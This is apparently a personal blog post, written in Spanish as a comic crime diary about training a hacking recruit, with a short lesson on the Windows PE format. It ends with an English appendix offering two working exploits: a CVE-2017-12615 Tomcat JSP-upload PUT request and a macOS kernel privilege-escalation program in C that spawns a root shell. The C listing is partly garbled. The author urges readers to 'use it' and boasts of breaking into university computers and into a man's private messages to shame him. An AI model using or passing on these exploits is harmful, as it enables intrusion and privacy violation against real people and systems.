Lunes, 29 de Marzo de 2018: Entrenamiento 101

Querido Diario…

Mientras Nemux volvía el martes al trabajo para iniciar el ataque, no debía de olvidarme de Lalo 2, quién debía de ser entrenado para que en caso de deceso, tuviésemos a alguien listo para seguir. Debido a que no tengo mucho que hacer, decidí hacerlo yo mismo.

Pero primero que nada… tenía que felicitar a una persona muy especial; queeee.. probablemente no me entiende mucho, pero prometí que le felicitaría el día de ayer.

с днем рождения, надеюсь, вчера был отличный день … и скоро вы сможете посетить Мексику

Si… uno cuando se la pasa viajando a dar tehuacanazos por el mundo termina haciendo muchos amigos.

Después de eso, entonces si, me comuniqué con el Becario.

Lalo 2 es algo así como el consen de Lalo, esa fue la razón porque lo seleccioné para que sea entrenado y que sustituya a alguno de nosotros, que es muy probable que no regresemos vivos.

No estoy muy seguro de como Lalo 2 llegó a nosotros, cuando yo regresé a la H. Organización Turbia e Ilegal, él ya estaba allí; lleno de ilusiones en la vida, y fui yo de hecho quién se las rompió y le mostró como era el mundo de cruel.

Le mandé su boleto de avión y unas horas más tarde lo fui a recoger al aeropuerto; para iniciar su entrenamiento me apoyé de Cachanillo. Cachanillo es un elemento desplegado en Mexicali… si, no soy el único aquí. Cachanillo es muy bueno, lo conocí una ocasión en unas conferencias en CETYS y no pude pasar a oportunidad de reclutarlo. Su único problema es que es demasiada buena persona, ética, moral, de esos que dan más de si… no encaja en el perfil de esta H. Organización, pero no podía dejarle pasar.

Pasé a recoger a Cachanillo de camino al aeropuerto; y esperamos la llegada de Lalo 2.

- Joven, esto es el infierno
- ¿Por?
- Esta haciendo un calor horrible
- Novato... Cachanillo, dile como ha estado el clima
- Fresco, aun no empieza el calor - respondió Cachanillo
- ¿Ves?... sube muchacho

Manejamos de regreso hacia la ciudad. Lalo 2 tenía cara de pánico durante el viaje, mientras Cachanillo tenía cara de felicidad; usualmente Cachanillo la pasa sólo, ni siquiera porque vivimos en la misma ciudad nos vemos mucho. Y ahora tenía una visita.

- Joven, ¿qué estoy haciendo aquÍ? - rompió Lalo 2 el silencio del viaje
- Hum... tomalo como un entrenamiento
- ¿Y tenía que ser aquí?, ¿dónde están los edificios?
- Hum... esto es un desierto, en los desiertos no hay edificios, hay cactus y arena; es café de allí se llama arena. Arena, Becario; Becario, arena. 
- Joven... tengo miedo
- Eso es bueno, el miedo nos ayuda a sobrevivir. Cachanillo, ¿te gusta la comida china?
- No
- ¿Cómo puedes ser de Mexicali y no gustarte la comida china?
- No sé, pero no me gusta
- ¿Qué quieren de comer?, pagan Mom
- ¡Pampas! dijeron a coro cuando íbamos por Benito Juárez

Comimos y estuvimos platicando un buen rato. Cachanillo y Lalo 2 no se veían desde Diciembre; y yo también ya tenía un buen tiempo de no ver a Cachanillo. Terminando llevé a Cachanillo a su casa y llevé a Lalo 2 a mi casa, allí lo hospedaría esta semana durante su entrenamiento.

- Bien muchacho, ahora es tiempo de que te expliqué porque estas aquí. Te voy a poner un vídeo para que entiendas cual es el "core" de negocios de la H. Empresa Turbia e Ilegal a la que pertenecemos.

- ¡Joven, me estoy asustando mucho con esto del core de negocios!
- Ouuuu... lo siento, lo siento... error de vídeo. Ya sabes... es frontera, gringos, hackean todo
- Ajá


Cuando terminó el vídeo veía en Lalo 2 la cara de motivación que estaba buscando, fue justo cuando supe que no nos habíamos equivocado en él.

- Bueno, ¿qué te pareció?
- Increíble joven, de hecho en mi diplomado he estado aprendiendo mucho de eso
- ¿En serio?, ¿Leobardo hace cosas así?... hum.. que interesante
- Si, podemos montar honeypots para detect....  - interrumpí
- No, no, no... no estas entendiendo... nosotros no somos los que defienden
- ¿No?
- Nou
- ¡Oh diablos!, somos unos criminales
- Eso mero
- Joven, ¿esto lo saben todos?
- Hum... si, en cierta forma si, pero por las dudas no le digas a nadie
- ¿Y ahora?, ¿me vas a enseñar a hackear?
- Hum... no, eso es algo complejo; eso no se aprende. En mis tiempos no había certificaciones, diplomados o cosas así. Yo lo que voy a hacer es enseñarte a profesionalizar tu criminalidad. Serás turbio e ilegal, perooo... no serás un turbio e ilegal cualquiera; en esta semana te convertiré en un verdadero criminal
- Quiero a mi mamá
- Regla #1, un criminal nunca teme
- Quiero romper la regla #1
- ¡Actitud Becario!, actitud... no tienes la actitud

Lalo 2 tardó un poco en entender cual era la importancia de nosotros y como trabajamos. Creo que en el fondo tenía la esperanza de ser un hombre de bien que hiciese cosas bien. Pero poco a poco lo fue aceptando, no se le veía muy alegre, pero creo que entendió.

- Joven, ¿en mi entrenamiento de menos me puedes explicar algo importante?
- ¿Cómo qué?
- Pues esos secretos del mundo de la seguridad
- Hum... yo no sé de eso; pero puedes preguntarle a Bytevik
- Dicen que tu sabías
- Dicen... hace mucho
- ¿Cómo se empezaste?
- Ya ni recuerdo - me recosté en el sofá para darle dramatismo - recuerdo que el IRC, aprendí mucho de amigos que hacían research conmigo en el RTM Security Team; luego aprendí mucho en foros de Europa del Este... ouuu.. esos tipos son como artistas, verdaderos hackers que desarrollan exploits de calidad, nada de  las porquerías de los gringos que hacen en Metasploit con tal de sacar el advisory y el PoC antes que todos. Esos tipos eran verdaderos hackers, aprendí de gente de Polonia, Rumania, Estonia, Rusia, Ucrania, Uzbequistan... que tiempos Becario, que buenos tiempos
- ¿Qué tenías que aprender?, por ejemplo... ¿cómo puedo hacer un malware como el que hace poco hiciste para la misión que fuiste a hacer con Joshua?
- Eso no fue un malware, sólo fue un payload; un malware no es cosa fácil, debes de aprender como funciona un sistema operativo y como interactua con cada uno de los archivos que utilizada, ¿sabes lo que es PE?
- No
- Bueno, pues el PE es el Portable Executable Format, usualmente empezabas por allí. PE es el formato de los archivos que usa Windows; esto es muy importante si algún día quieres ser un verdadero profesional y lanzar ataques de malware completamente orientado a un objetivo en particular. Mira - y me levanté para tomar un plumón - Esto de aquí es básicamente la estructura de un archivo PE de MS Windows.

- Pero no sólo eso, lo importante también viene en sus headers. Cuando haces un payload no tiene nada de esto, así que tienes que inyectarlo dentro de un archivo que si lo tenga para que se ejecuté. Si tu tratas de ejecutar un payload sin headers va a fallar. Cuando haces malware, tienes que incluir las headers, estrictamente es un archivo real.

- Dentro de estos headers, tenemos diferentes secciones; y cada una de ellas tiene una función en especifico. Por ejemplo, tenemos donde el archivo le indica al sistema operativo donde debe de empezar a cargar; el MZ lo vas a ver en todos lados, de hecho si usas un debugger como Immunity Dbg u Ollydbg vas a verlo muy común cuando arrancas el binario. También es muy importante para poder determinar si un archivo es original o falso o si fue modificado. Además tiene tamaños especificos, de esa forma cuando hacer el reversing podrás encontrar cada una de las secciones para su análisis. - terminé
- Interesante, ¿vamos a ver más de esto en la semana?
- No, en realidad no. Mañana te voy a enseñar a manejar un arma, así podrás sacarle las contraseñas a la gente de forma más rápida. 
- Diablos
- Descansa Becario... buenas noches
- Oiga joven, una última pregunta
- ¿Si?
- ¿Qué es eso?
- Ouuuu... esto es lo más genial del mundo; es un guarda plátanos

- Joven, es la cosa más inútil del mundo
- Pero está bonito. Buenas noches Becario
- Joven, otra cosa
- ¿Ahora qué?
- Su perro está arriba de mi
- Ouuu si, se llama Shellcode. Shellcode, Lalo 2, Lalo 2, Shellcode. Ella duerme en el sofá, así que... puede que piense que eres su nuevo colchón
- Ahhhhh... ¿hay forma que... - interrumpí
- No... y ni lo intentes, te puede morder
- Ok

Me fui a mi habitación y miré mis libros. The shellcoder’s hanbook, Windows Internals en todas sus ediciones, IDA Pro guide… ese muchacho quiere aprender cosas. Como me gustaba eso.

La nostalgia fue interrumpida por una llamada, era el Lalo, seguro me preguntaría por su cachorro

- Bueno
- Joven... dime que esta vivo
- Esta vivo, pero puede que ahorita este un poco babeado por mi perrita
- Ok, eso es bueno. ¿Por qué te lo llevaste?
- Por si tú o yo no volvemos
- Hum... - Lalo se quedó pensativo, él también entiende el riesgo al que nos enfrentamos en esta misión; el hecho de que ambos estemos trabajando juntos es el reflejo del riesgo, Mom nunca nos había puesto a los dos en una misma misión, eso quiere decir que esto es grave, tal vez más grave de lo que creemos. - ¿mañana empezamos?
- Si, le marcaré a Nemux para configurar el jump box, y cuando tengas las credenciales te las pasó
- Ok... buenas noches joven
- Buenas noches - y colgó

Querido Diario… en la semana rechacé algo que podría haber puesto fin a mi camino de turbidez e ilegalidad. Pero… hay cosas… personas, que son más importantes que cualquier otra cosa.

Tengo esperanzas en el Becario… tal vez tenga futuro. Y sino, es matemático… haré que hagan las predicciones en mis inversiones.

PoC CVE-2017-12615

Hum… I don’t know, an script using a lot of ranges on Dreamhosts, Bluehosts, OVH, Rackspace… ouuu yep! the life is sad.


PUT /tumamamemima.jsp/
Host: www.quierounhot-cacke.com:80
Connection: close
Content-Length: 85

<% out.write(”

[+] JSP upload successfully.

“); %>

 

kittypushen.c

Here you have one of my favorite guys… I developed it around 2 years ago, maybe.

The story is that I had a friend named SparkchicK and we traveled to Guadalajara to find his boyfriend, so I hacked a lot of computers in an university to found him. And.. I don’t know why at this university they have a OS X server, it’s so strange, I have never seen something like this, so I started to work using a public vulnerability and that’s all… this is my code, a privilege scalation exploit.. actually I can’t remember the CVE… hum…

Around a month ago… someone tell me bad things, and near to the birthday of his ex-girlfriend I looked to give her a little gift, all the conversations where “my friend” asked to other girls for nude photos and other things… yeah, I enjoyed a lot when she slapped him in public, but I enjoyed so much when I was drinking a great beer while he was crying and suffering because she reads all…

So… use it, it works.

And if you know a guy like “my friend” please tell me, I’ll hack him for free… I knew two persons who did me the same… so, for me will be a pleasure.

Well… here the code.

Cheers c[xxx]

 
<

#include
static uint64_t kslide=0;
#define ALLOCS 0x100
#import "import.h"
#import "lsym_gadgets.h"
static mach_port_t servicea = 0;
static mach_port_t servicex = 0;
__attribute__((always_inline)) inline
lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) {
if (!pointer) return pointer;
return (lsym_slidden_kern_pointer_t) pointer + kslide;
}

__attribute__((always_inline)) static inline
uint64_t alloc(uint32_t addr, uint32_t sz) {
vm_deallocate(mach_task_self(), (vm_address_t) addr, sz);
vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0);
while(sz--) *(char*)(addr+sz)=0;
return addr;
}
__attribute__((always_inline)) static inline
uint64_t leak_heap_ptr(io_connect_t* co) {
io_connect_t conn = MACH_PORT_NULL;
if(IOServiceOpen(servicea, mach_task_self(), 0, co) != KERN_SUCCESS) {
puts("failed");
exit(-20);
}
uint64_t scalarO_64=0;
uint32_t outputCount = 1;
IOConnectCallScalarMethod(*co, 2, NULL, 0, &scalarO_64, &outputCount);
if (!scalarO_64) {
puts("failed infoleaking");
exit(-20);
}
scalarO_64 <<= 8; scalarO_64 |= 0xffffff0000000000; return scalarO_64; } typedef struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_ool_descriptor_t desc; mach_msg_trailer_t trailer; } oolmsg_t; static uint16_t off_w = 0; __attribute__((always_inline)) static inline void or_everywhere(uint64_t add) { io_connect_t conn = MACH_PORT_NULL; IOServiceClose(0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt IOServiceOpen(0,0,0,0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt alloc(0, 0x1000); volatile uint64_t* mp = (uint64_t*) 0; if(!off_w) { while ((uint32_t)mp < 0xC00) { *mp=(uint64_t)0xC00; mp++; } IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); IOServiceClose(conn); char* kp=(char*)0xC00; while ((uint32_t)kp < 0x1000) { if (*kp == 0x10) { break; } kp++; } if ((uint32_t)kp == 0x1000) { vm_deallocate(mach_task_self(), 0, 0x1000); puts("not vulnerable"); exit(-1); } mp=0; while ((uint32_t)mp < 0xC00) { *mp=(uint64_t)0xC00 - (uint32_t)(kp-0xC00); mp++; } IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); IOServiceClose(conn); if (*((char*)0xC00)!=0x10) { vm_deallocate(mach_task_self(), 0, 0x1000); puts("wrong offset"); exit(-2); } off_w = (uint16_t) kp - 0xc00; } mp=0; while ((uint32_t)mp < 0xC00) { *mp=(uint64_t)(add - off_w); mp++; } IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); vm_deallocate(mach_task_self(), 0, 0x1000); IOServiceClose(conn); } __attribute__((always_inline)) static inline void send_kern_data(char* vz, size_t svz, mach_port_t* msgp) { oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1); if(!*msgp){ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, msgp); mach_port_insert_right(mach_task_self(), *msgp, *msgp, MACH_MSG_TYPE_MAKE_SEND); } bzero(msg,sizeof(oolmsg_t)); msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->header.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
msg->header.msgh_remote_port = *msgp;
msg->header.msgh_local_port = MACH_PORT_NULL;
msg->header.msgh_size = sizeof(oolmsg_t);
msg->header.msgh_id = 1;
msg->body.msgh_descriptor_count = 1;
msg->desc.address = (void *)vz;
msg->desc.size = svz;
msg->desc.type = MACH_MSG_OOL_DESCRIPTOR;
mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 );
free(msg);
}
__attribute__((always_inline)) static inline
char* read_kern_data(mach_port_t port) {
oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1);
bzero(msg,sizeof(oolmsg_t)+0x2000);
mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG, 0, sizeof(oolmsg_t)+0x2000, (port), 0, MACH_PORT_NULL);
return msg->desc.address;
}
int main(int argc, char** argv, char** envp){
if (getuid() == 0) {
execve("/bin/sh",((char* []){"/bin/sh",0}), envp);
exit(0);
}
if((int)main < 0x5000) execve(argv[0],argv,envp); lsym_map_t* mapping_kernel=lsym_map_file("/mach_kernel"); if (!mapping_kernel || !mapping_kernel->map) {
mapping_kernel=lsym_map_file("/System/Library/Kernels/kernel");
}
lsym_map_t* mapping_audio=lsym_map_file("/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily");
kslide = kext_pointer("com.apple.iokit.IOAudioFamily") + RESOLVE_SYMBOL(mapping_audio, "__ZTV23IOAudioEngineUserClient") + 0x10;
sync();
kern_return_t err;
io_iterator_t iterator;
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator);
servicex = IOIteratorNext(iterator);
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOAudioEngine"), &iterator);
servicea = IOIteratorNext(iterator);
uint64_t c = 0;
or_everywhere((uint64_t)&c);
if (c != 0x10) {
puts("not vulnerable");
return 2;
}
int ctr=0;
#define DO_TIMES(x) for(ctr=0;ctr__rop_chain;

or_everywhere(heap_info[1].kobject+0x220); // set online
or_everywhere(heap_info[1].kobject+0x208); // set userbuffer to 0x000000000010 (!= NULL)
alloc(0, 0x1000);
volatile uint64_t* mp = (uint64_t*) 0x10;
mp[0] = (uint64_t)0;
mp[1] = (uint64_t)vtable;
mp[2] = (uint64_t)&mp[1];
uint64_t xn = IOConnectRelease((io_connect_t )heap_info[1].connect); // running code!
vm_deallocate(mach_task_self(), 0, 0x1000);
setuid(0);
if (getuid() == 0) {
system("/bin/sh");
exit(0);
}

puts("didn't get root, but this system is vulnerable. ");
puts("kernel heap may be corrupted");
return 1;
}